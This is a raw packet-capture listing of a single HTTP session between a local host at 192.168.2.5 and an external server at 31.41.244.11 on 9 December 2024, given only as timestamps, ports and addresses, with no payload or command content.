Dec 9, 2024 15:30:16.535634995 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.535660982 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.536958933 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.536973000 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.537022114 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.538544893 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.538559914 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.538569927 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.538610935 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.538630962 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.539940119 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.539969921 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.540031910 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.541493893 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.541507959 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.541546106 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.543121099 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.543135881 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.543185949 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.544393063 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.544420958 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.544445992 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.544471979 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.659806013 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.660157919 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.660242081 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.660732031 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.660782099 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.661575079 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.661624908 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.662385941 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.662399054 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.662440062 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.663522959 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.663573027 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.664155006 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.664202929 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.665061951 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.665075064 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.665116072 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.666305065 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.666317940 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.666363955 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.667737007 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.667749882 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.667788029 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.668961048 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.668972969 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.669015884 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.670298100 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.670310974 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.670358896 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.671708107 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.671720028 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.671755075 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.673306942 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.673919916 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.674721956 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.674735069 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.674772024 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.674784899 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.676357031 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.676369905 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.676414013 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.676424980 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.677733898 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.677748919 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.677759886 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.677793980 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.677825928 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.679244995 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.679258108 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.679305077 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.680731058 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.680753946 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.680778980 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.680808067 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.682226896 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.682300091 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.682349920 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.683725119 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.683738947 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.683748960 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.683785915 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.683785915 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.685430050 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.685482979 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.685534954 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.686907053 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.688350916 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.688368082 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.688407898 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.688427925 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.689748049 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.689760923 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.689807892 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.691724062 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.691740990 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.691797018 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.693232059 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.693245888 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.693257093 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.693289042 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.693300009 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.694458008 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.694469929 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.694516897 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.695808887 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.695843935 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.695857048 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.695883989 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.697272062 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.697284937 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.697324038 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.698709965 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.698723078 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.698731899 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.698767900 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.698784113 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.700200081 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.700212955 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.700265884 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.701845884 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.701858997 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.701903105 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.703212023 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.703224897 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.703259945 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.704771996 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.704787970 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.704838991 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.704860926 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.706443071 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.706459999 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.706494093 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.706501007 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.706507921 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.706669092 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.707724094 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.707737923 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.707777023 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.709196091 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.709211111 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.709255934 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.710669994 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.710683107 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.710735083 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.712230921 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.712249041 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.712285042 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.713799000 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.713813066 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.713824034 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.713854074 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.713876009 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.715193033 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.715207100 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.715257883 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.716840982 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.716852903 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.716892958 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.718153000 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.718166113 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.718214035 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.720113039 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.720124960 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.720135927 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.720165968 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.720191002 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.721174955 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.721188068 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.721229076 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.722692013 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.722706079 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.722754002 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.724229097 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.724241972 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.724277020 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.725760937 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.725774050 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.725812912 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.727210045 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.727252007 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.727263927 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.727310896 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.728750944 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.728765011 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.728809118 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.730185986 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.730201006 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.730249882 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.731877089 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.731895924 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.731929064 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.731955051 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.734723091 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.737930059 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.852621078 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.853049994 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.853270054 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.853658915 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.853714943 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.854408979 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.855088949 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.855102062 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.855144978 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.856466055 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.856514931 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.857027054 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.857084990 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.857753992 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.857768059 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.858254910 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.858256102 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.859385967 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.859400988 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.859474897 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.860578060 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.860593081 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.860646009 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.861850977 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.861866951 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.861902952 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.861928940 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.864852905 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.865946054 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.866157055 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.866170883 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.866204977 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.867594957 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.869927883 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.870610952 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.870655060 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.870744944 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.870784998 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.873687983 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.873738050 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.875127077 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.875143051 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.875186920 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.876733065 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.876745939 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.876755953 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.876784086 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.876811981 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.878206015 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.878218889 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.878264904 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.879648924 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.879662991 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.879700899 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.881139994 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.881153107 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.881191015 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.881206989 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.882690907 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.882704973 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.882754087 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.884386063 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.884399891 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.884409904 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.884443045 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.884466887 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.885659933 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.885673046 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.885714054 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.885727882 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.886533976 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.886589050 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.886642933 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.889862061 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.889875889 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.889926910 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.889954090 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.890204906 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.890218019 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.890228987 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.890269995 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.890299082 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.892102957 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.892116070 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.892165899 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.893604994 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.893637896 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.893714905 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.894771099 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.894901991 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.894961119 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.896255016 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.896267891 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.896311998 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.897738934 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.897751093 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.897762060 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.897800922 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.897834063 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.899096966 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.899240971 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.899300098 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.900585890 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.900726080 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.900783062 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.902348995 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.902362108 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.902410030 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.903672934 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.903695107 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.903706074 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.903748989 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.905122995 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.905136108 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.905204058 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.906774998 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.906788111 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.906841993 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.908278942 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.908343077 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.908395052 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.908447027 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.909744978 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.909758091 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.909795046 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.911133051 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.911145926 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.911160946 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.911197901 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.911210060 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.912611961 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.912631035 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.912694931 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.914197922 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.914216042 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.914277077 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.915664911 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.915678978 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.915720940 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.917340040 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.917351961 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.917362928 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.917402029 CET	49866	80	192.168.2.5	31.41.244.11
